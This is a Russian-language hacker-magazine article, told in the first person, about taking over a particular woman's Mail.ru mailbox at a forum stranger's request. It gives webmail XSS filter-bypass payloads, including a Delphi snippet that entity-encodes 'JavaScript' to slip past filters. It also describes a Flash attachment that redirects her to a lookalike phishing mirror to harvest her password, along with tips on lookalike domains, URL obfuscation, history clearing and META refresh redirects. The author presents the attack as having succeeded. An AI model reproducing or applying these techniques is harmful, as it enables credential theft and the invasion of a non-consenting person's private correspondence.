Вы будете смеяться, но таки был обычный вечер...
Все как всегда, ничего особенного. Захожу на форум
оставить пару мессаг. Смотрю и для меня что-то валяется. Типа, ты не мог бы
поломать мыло одной чиксы? Делать было нечего, я решил согласится....
Ее бокс лежал на MAIL.RU: girl@inbox.ru (это конечно не настоящий ящик :)) Что
показалось для меня слишком тяжелым... сначала 😉 Первым делом я полез в
скрипты в надежде найти баг в сурсачах... наивный. Ничего у меня конечно же не
получилось. Я особо не расстраивался, потому как знал, что нихрена с этого не
выйдет. На следующий день я решил пойти другим путем... я полез в асю по мылу
нашел эту тетку и решил воспользоваться службой напоминания пароля... Но
несмотря на правильность введенных мною данных мой пароль 🙂 мне не прислали.
После чего я решил пожаловаться в службу поддержки 🙂 Для дальнейшего исследования я открыл себе аккаунт на MAIL.RU...
После чего стало понятно что это надо было сделать сразу!
Открытие номер адын: аттач открывается сразу 8). Долго я мучился пытаясь
прописать что-то в хтмл...
<script>...</script> не рулит!
<IMG src="https://xakep.ru/wp-content/uploads/post/15617/no_existing_image" onError="java_script"> неа!
<IMG src="https://xakep.ru/wp-content/uploads/post/15617/JavaScript:java_script"> даже не думай!
Открытие номер два: все скрипты обрезаются 🙁
После еще одного пива я чудом попал на www.macromedia.com
и тут бац, идея. А что если вставить флешку, которая намутит редирект на зеркало MAIL.RU с
просьбой ввести заново свой пас из-за сбоя авторизации. А введенный ею пароль я
сохраню в какой-то файл или пришлю себе на почту!
Ролик размером 18х18 с одним кадром и экшеном:
getURL ("mail.ru_mirror","_top");
Зеркало разместил на h1.ru. Тест... Присылаю себе html и флешку, аттач открывается сразу при чтении письма,
редирект сработал! Через три дня я имел пасс. Да, для правдоподобности выбирай
домены максимально подходящие: например на MAIL.RU был URL вроде
win.mail.ru/cgi-bin/auth, у меня получился winmail.h1.ru/cgi-bin/auth.
Можешь так же использовать шестнадцатеричный
код адреса или @ в URL'е... Вариантов много. Не забудь
очистить хистори, чтобы нельзя было вернутся назад:
history.clear или используй фреймы, что тоже неплохой вариант.
НО! ЭТО! ЕЩЕ! НЕ КОНЕЦ. На следующий день я вспомнил баг,
найденный когда-то на hotmail.com. Суть: фильтры обрезают
все сочетания java и script а что если в теге <IMG src="https://xakep.ru/wp-content/uploads/post/15617/JavaScript:java_script">
вместо "JavaScript:" написать слово JavaScript
юникодом? Для пущей верности я намутил прогу, чтобы любой текст
превращался в такую шнягу. Один баттон с кодом:
for i:=1 to length(edit1.text) do edit2.text:=edit2.text+'&#'+inttostr(ord(edit1.text[i]));
Те, кто знакомы с делфой поняли о чем это я 🙂
То есть фильтр при обработке не видит
сочетания JavaScript, а браузер при обработке превращает
код символов в JavaScript.
Короче вот еще один способ намутить редирект:
<META HTTP-EQUIV="Refresh" content ="4; URL=http://any_url">
З.Ы.: Все работает отлично. Захват ящика это не единственное применение, это
дает возможность получить разную инфу о юзере
(IP, тип браузера...), можно также на нем протестить баги експлохера 🙂
Продолжение следует....